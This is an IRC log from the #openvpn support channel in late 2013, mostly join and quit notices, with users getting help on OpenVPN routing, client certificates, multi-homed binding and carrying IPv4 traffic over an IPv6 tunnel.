16:51 -!- Zarrsh [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 260 seconds]
16:59 -!- cjman [~cjman@184.75.221.42] has quit [Ping timeout: 240 seconds]
17:05 -!- totaltec [~totaltec@86.Red-83-52-250.dynamicIP.rima-tde.net] has quit [Ping timeout: 260 seconds]
17:10 -!- speed_racer84 [~speed_rac@172.56.14.75] has quit [Read error: Connection reset by peer]
17:11 -!- speed_racer84 [~speed_rac@172.56.14.75] has joined #openvpn
17:11 -!- speed_racer84 [~speed_rac@172.56.14.75] has quit [Remote host closed the connection]
17:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
17:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
17:38 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
17:39 -!- cjman [~cjman@46.165.221.13] has joined #openvpn
17:40 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
17:49 -!- mc128k [~mc128k@host137-82-dynamic.61-82-r.retail.telecomitalia.it] has left #openvpn ["Linkinus - http://linkinus.com"]
17:50 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:51 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:52 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:54 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:55 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:57 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
17:57 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:59 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
18:00 -!- Chrisje [chris@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
18:01 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:02 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
18:03 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:04 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
18:05 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:06 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
18:07 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:09 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
18:10 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:11 -!- akurilin [~akurilin@208.185.21.146] has quit [Read error: Connection reset by peer]
18:12 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:28 -!- speed_racer84 [~speed_rac@172.56.14.75] has joined #openvpn
18:29 -!- sync0pate [~sync@unaffiliated/sync0pate] has quit [Ping timeout: 246 seconds]
18:32 -!- sync0pate [~sync@109.169.46.200] has joined #openvpn
18:32 -!- sync0pate is now known as Guest54228
18:57 -!- cjman [~cjman@46.165.221.13] has quit [Quit: Leaving]
18:57 -!- cjman [~cjman@46.165.221.13] has joined #openvpn
18:58 < cjman> Hey everyone, I am running openbsd 5.4 as a firewall/router. The router has 3 nic which are wan, lan-1, and lan-2. I am wanting the route to put all traffic from lan-1 thru openvpn. I do now want any traffic from lan-2 to go thru the vpn. It appears that it is a routing issue, here are my route with before and after vpn (where rl2 is the ext_if) http://pastebin.com/jVykRp9s
19:00 <+pekster> You quit too soon last time; you need policy routing for that
19:02 <+pekster> Assuming you're using PF, policy-routing is handled as part of that system; read about the route-to feature
19:03 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:18 -!- cjman [~cjman@46.165.221.13] has quit [Ping timeout: 246 seconds]
19:27 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has left #openvpn []
19:33 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has joined #openvpn
19:56 -!- cjman [~cjman@71-90-213-185.dhcp.spbg.sc.charter.com] has joined #openvpn
20:12 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
20:23 -!- cjman [~cjman@71-90-213-185.dhcp.spbg.sc.charter.com] has quit [Ping timeout: 264 seconds]
20:23 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
20:35 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
20:39 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
20:40 -!- speed_racer84 [~speed_rac@172.56.14.75] has quit [Ping timeout: 246 seconds]
20:45 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
20:49 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
21:38 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
21:50 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
21:54 -!- speed_racer84 [~speed_rac@172.56.14.75] has joined #openvpn
22:05 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
22:11 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
22:14 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 252 seconds]
22:15 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Remote host closed the connection]
22:17 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
22:17 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
22:19 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
22:41 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
22:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
22:42 -!- mode/#openvpn [+o krzee] by ChanServ
22:55 -!- sep [~sep@40.211.jostedal.no] has quit [Ping timeout: 272 seconds]
23:26 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 260 seconds]
23:28 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has joined #openvpn
23:28 -!- dimm0k [~dimm0k@pool-72-80-89-149.nycmny.fios.verizon.net] has quit [Changing host]
23:28 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
23:32 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has quit [Quit: Leaving]
23:33 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
--- Day changed Sun Dec 01 2013
00:18 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:23 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:23 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:25 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
00:27 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:31 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:32 -!- CatKiller [~catkiller@unaffiliated/catkiller] has joined #openvpn
00:38 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:42 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:44 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:46 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:50 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:54 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:54 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
00:56 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:05 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:08 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:09 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:11 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:12 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:14 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:15 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:21 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has joined #openvpn
01:21 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:23 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:25 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Ping timeout: 240 seconds]
01:27 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:37 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:40 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:52 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:53 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
01:54 -!- raidz_away [~raidz@178.209.51.40] has quit [Ping timeout: 260 seconds]
01:55 -!- raidz_away [~raidz@178.209.51.40] has joined #openvpn
01:55 -!- gardar [~gardar@gardar.net] has joined #openvpn
01:57 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 246 seconds]
01:57 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
02:00 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
02:03 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
02:15 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
02:28 -!- TheCaptain2000_ [~quassel@246.211.77.188.dynamic.jazztel.es] has joined #openvpn
02:30 -!- TheCaptain2000 [~quassel@79.81.21.95.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
02:30 -!- gardar [~gardar@gardar.net] has joined #openvpn
02:33 -!- gardar [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
02:37 -!- gardar [~gardar@gardar.net] has joined #openvpn
02:55 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
02:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
02:58 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
02:59 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 240 seconds]
03:01 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:01 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
03:14 -!- tony25DF [~antonello@187.208.163.44] has joined #openvpn
03:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:15 -!- dimitry7 [~antonello@187.208.168.112] has quit [Ping timeout: 260 seconds]
03:19 -!- Semor [~Semor@218.106.182.104] has quit [Ping timeout: 246 seconds]
03:26 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
03:28 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
03:34 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
03:38 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
03:40 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:03 -!- sep [~sep@40.211.jostedal.no] has joined #openvpn
04:07 -!- jam__ [~quassel@vps.schoolofprivacy.eu] has joined #openvpn
04:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
04:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
04:13 -!- mode/#openvpn [+o krzee] by ChanServ
04:17 -!- dimitry7 [~antonello@187.208.163.44] has joined #openvpn
04:48 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
05:00 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
05:01 -!- asd [~asd@84.238.81.51] has joined #openvpn
05:03 < asd> hive-mind, How can i get openvpn to "mount" 3 different IP's? my VPN provider gave me 3 ip's
05:03 < asd> Hi*
05:04 < asd> !configs
05:04 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
05:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:37 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
05:38 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
05:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
05:45 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has joined #openvpn
05:59 -!- dimitry7 [~antonello@187.208.163.44] has quit [Ping timeout: 260 seconds]
05:59 -!- tony25DF [~antonello@187.208.163.44] has quit [Ping timeout: 260 seconds]
06:03 -!- Perun [perun@chao5.net] has quit [Quit: Changing server]
06:06 -!- xrosnight [~quassel@113.100.205.61] has joined #openvpn
06:06 -!- xrosnight [~quassel@113.100.205.61] has quit [Changing host]
06:06 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
06:17 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
06:27 -!- TheCaptain2000_ [~quassel@246.211.77.188.dynamic.jazztel.es] has quit [Ping timeout: 260 seconds]
06:41 -!- jackbrown [~se@93-44-54-187.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
06:43 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.]
06:44 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
06:44 -!- xrosnight_ [~quassel@119.124.83.19] has joined #openvpn
06:45 -!- xrosnight_ [~quassel@119.124.83.19] has quit [Changing host]
06:45 -!- xrosnight_ [~quassel@unaffiliated/xrosnight] has joined #openvpn
06:47 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 245 seconds]
07:24 -!- muts [~muts@backtrack/leader/muts] has left #openvpn ["Bye!"]
07:47 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:47 -!- mode/#openvpn [+v s7r] by ChanServ
08:00 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
08:04 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
08:09 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:17 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
08:17 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
08:17 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
08:30 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
08:39 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
08:59 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:00 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:05 -!- xrosnight_ is now known as xrosnight
09:08 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:11 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
09:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
09:16 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
09:16 -!- Guest54228 [~sync@109.169.46.200] has left #openvpn []
09:16 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:16 -!- sync0pate [~sync@unaffiliated/sync0pate] has joined #openvpn
09:17 -!- sync0pate [~sync@unaffiliated/sync0pate] has left #openvpn ["Leaving"]
09:17 -!- n2deep_ [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 265 seconds]
09:28 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 272 seconds]
09:36 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
09:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:56 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has joined #openvpn
10:00 -!- asd [~asd@84.238.81.51] has quit [Ping timeout: 240 seconds]
10:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:40 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
10:44 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has joined #openvpn
10:45 < electric-mind> hi, i have some problems with pinging the main openvpn  server from client, iptables rules flushed on the both side.
10:45 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:47 -!- asd [~asd@84.238.81.51] has joined #openvpn
10:49 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
11:08 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Quit: AAAGH!  IT BURNS!]
11:08 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
11:08 -!- master_of_master [~master_of@p4FD7BF1A.dip0.t-ipconnect.de] has joined #openvpn
11:09 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Client Quit]
11:09 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
11:10 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Remote host closed the connection]
11:10 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
11:11 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Client Quit]
11:12 -!- master_o1_master [~master_of@p4FD7B8D8.dip0.t-ipconnect.de] has quit [Ping timeout: 252 seconds]
11:20 -!- Poster [~poster@cpe-184-57-112-154.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
11:24 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
11:26 -!- toobluesc [~nitro@2001:558:6045:7b:3d70:c3df:18a:884] has joined #openvpn
11:36 -!- bjh4 [~bjh4@ool-4354103f.dyn.optonline.net] has joined #openvpn
11:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
11:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
12:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:21 -!- speed_racer84 [~speed_rac@172.56.14.75] has quit [Ping timeout: 245 seconds]
12:25 -!- asd [~asd@84.238.81.51] has quit [Quit: Leaving]
12:26 -!- pgnd [UOZpBDKC4r@unaffiliated/pgngw] has joined #openvpn
12:27 < pgnd> I've an edge router with two interfaces, eth0 (external, real ipv4 = X.X.X.1 ), and eth1 (internal, rfc1918 ipv4 = 192.168.1.1 ).
12:28 < pgnd> I'm installing OpenVPN on it directly -- not on a LAN box behind it -- to connect as a static client via a Routed config to a VPS, running OpenVPN in server mode.
12:28 < pgnd> Question: Should the edge router's client instance be set to listen @ eth0=X.X.X.1? or at eth1=192.168.1.1? Is there an advantage to one over the other?
12:32 <+pekster> pgnd: The external interface. You won't generally worry about it as a client as the client initiates connections to a `--mode server` peer
12:33 <+pekster> In other words, unless you're multi-homed and need to force the connection to be maade from a particular IP, you don't need --local at all. You might want to use --nobind as a client though
12:35 < pgnd> pekster: Hi. Well, I'm multihomed on the edge router -- a number of IPv4 aliases & IPv6 addresses. THere IS a 'main' IPv4/IPv6 address -- and I'd prefer to have the connection made from (through?) it.
12:35 < pgnd> listen on THAT one?
12:36 <+pekster> It'll normally use whatever the routing table is configured to use. Assuming Linux from your eth0 interface, it'll use whatever you get from `ip route get $your_vpn_server_ip`
12:36 <+pekster> --local is to force the local connection to bind to a specific IP (or hostname that's resolved to an IP)
12:37 <+pekster> Also, "alises" died years ago; iproute2 is where it's at now ;)
12:37 < pgnd> pekster: heh.  yeah, yeah.  I'm using iproute2.  I'm old, though.  And use "years old" lingo ;-)
12:38 < pgnd> Off to fix this.  Thx.
12:38 -!- pgnd [UOZpBDKC4r@unaffiliated/pgngw] has quit []
13:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
13:11 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
13:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:27 -!- entelechios [~elysium@190.184.196.50] has joined #openvpn
13:27 < entelechios> hullo
13:27 < entelechios> i'm here cause i'm finding that the documentation for openvpn isnt telling me what im trying to figure out and admittedly floundering at
13:28 < entelechios> there's 3 files i generated to put on the client
13:28 < entelechios> ca.crt, client.csr, and client.key
13:28 < entelechios> as i'll name them here
13:28 < entelechios> but the default config
13:28 < rob0> The CSR is not necessary. Others are.
13:28 < rob0> !pki
13:28 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
13:28 <@vpnHelper> signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
13:28 < entelechios> ok
13:29 < entelechios> so in the default config it points to ca ca.crt
13:29 < entelechios> cert client.crt
13:29 < entelechios> and key client.key
13:30 < entelechios> i'm not sure what's up with the 2 crt's that i don't have
13:30 < rob0> which two are those?
13:30 < entelechios> ahahaha
13:30 < entelechios> i just set both values
13:30 < entelechios> the ca and crt
13:30 < entelechios> to ca.crt
13:30 < entelechios> and it works now
13:30 < entelechios> hilarious
13:30 < entelechios> maybe erroneous
13:49 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: Leaving]
13:55 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit []
14:00 -!- pgnd [7JioD35eFA@unaffiliated/pgngw] has joined #openvpn
14:01 < pgnd> I've got a working OpenVPN routed connection between server & client, over IPv4 tunnel.  Routes are set up so I can ping from IPv4-lan@server <--> IPv4-lan@client.
14:01 < pgnd> Switching to IPv6 tunnel, after mods to confs, the IPv6 tunnel's up and connectedm but IPv4-lan@server <--> IPv4-lan@client no longer works.
14:02 < pgnd> I guess I need to manually set a route to direct IPv4 traffic over the IPv6 tunnel.  Where/how do I set that route?
14:04 <+pekster> You're doing what, IPv6 over an IPv4 OpenVPN link, or IPv4 inside an IPv6 link?
14:05 < pgnd> pekster: What I'm 'doing', atm, is flailing.  What I'm _attempting_ is to mv IPv4 traffic from lan to lan over an IPv6 openvpn link.  Confused about proper routing.
14:06 <+pekster> So, the IPv6 link doesn't really matter (you'll need to set the right --proto for IPv6 traffic, like udp6, but otherwise the --remote process works the same, just with IPv6 references to a host/IP)
14:07 <+pekster> You want bi-directional routing between the LANs behind both your VPN client & server? If so, first get a basic VPN link up so your client can ping the VPN IP of the server, then proceed with the info/flowcharts at: !serverlan and !clientlan
14:09 -!- electric-mind [~root@static.58.41.40.188.clients.your-server.de] has left #openvpn []
14:09 < pgnd> !serverlan
14:09 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:09 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:09 < pgnd> !clientlan
14:09 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
14:09 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:10 < pgnd> pekster thanks. off to read.
14:10 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
14:11 -!- pgnd [7JioD35eFA@unaffiliated/pgngw] has left #openvpn []
14:23 -!- pgnd [dAycLaAIu2@unaffiliated/pgngw] has joined #openvpn
14:23 < pgnd> !route_outside_openvpn
14:23 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
14:25 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 245 seconds]
14:34 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
14:36 -!- u0m3 [~u0m3@109.96.166.138] has quit [Read error: Connection reset by peer]
14:40 -!- u0m3 [~u0m3@92.80.93.41] has joined #openvpn
14:42 -!- billybig1 [~billybigr@S0106602ad06f924c.cg.shawcable.net] has quit [Quit: WeeChat 0.4.2]
14:45 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 245 seconds]
14:51 < entelechios> thanks for the consideration rob0
14:51 -!- entelechios [~elysium@190.184.196.50] has left #openvpn []
14:53 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
15:15 < pgnd> pekster: Tried to follow the diagrams etc you provided. Where I need more info, they simply say "add a route", without the supporting detail.  I suspect I'm still screwing this up.  If you, or anyone else, can spare a sec to take a look at my current notes -- http://pastebin.com/raw.php?i=ezR7KSBa -- if anything obviously wrong leaps out at you, would be appreciated.
15:15 < pgnd> In the meantime, I'm going to start from scratch again, and (re)follow step by step.
15:16 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:27 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 240 seconds]
15:27 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
15:44 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
15:45 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
15:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
15:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
15:46 -!- mode/#openvpn [+o krzee] by ChanServ
15:47 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
15:47 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
15:51 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
15:51 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
15:58 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
15:58 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
16:16 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
16:18 -!- pgnd [dAycLaAIu2@unaffiliated/pgngw] has quit []
16:18 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
16:18 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
16:18 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
16:21 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
16:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
16:42 -!- Cultist_ [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
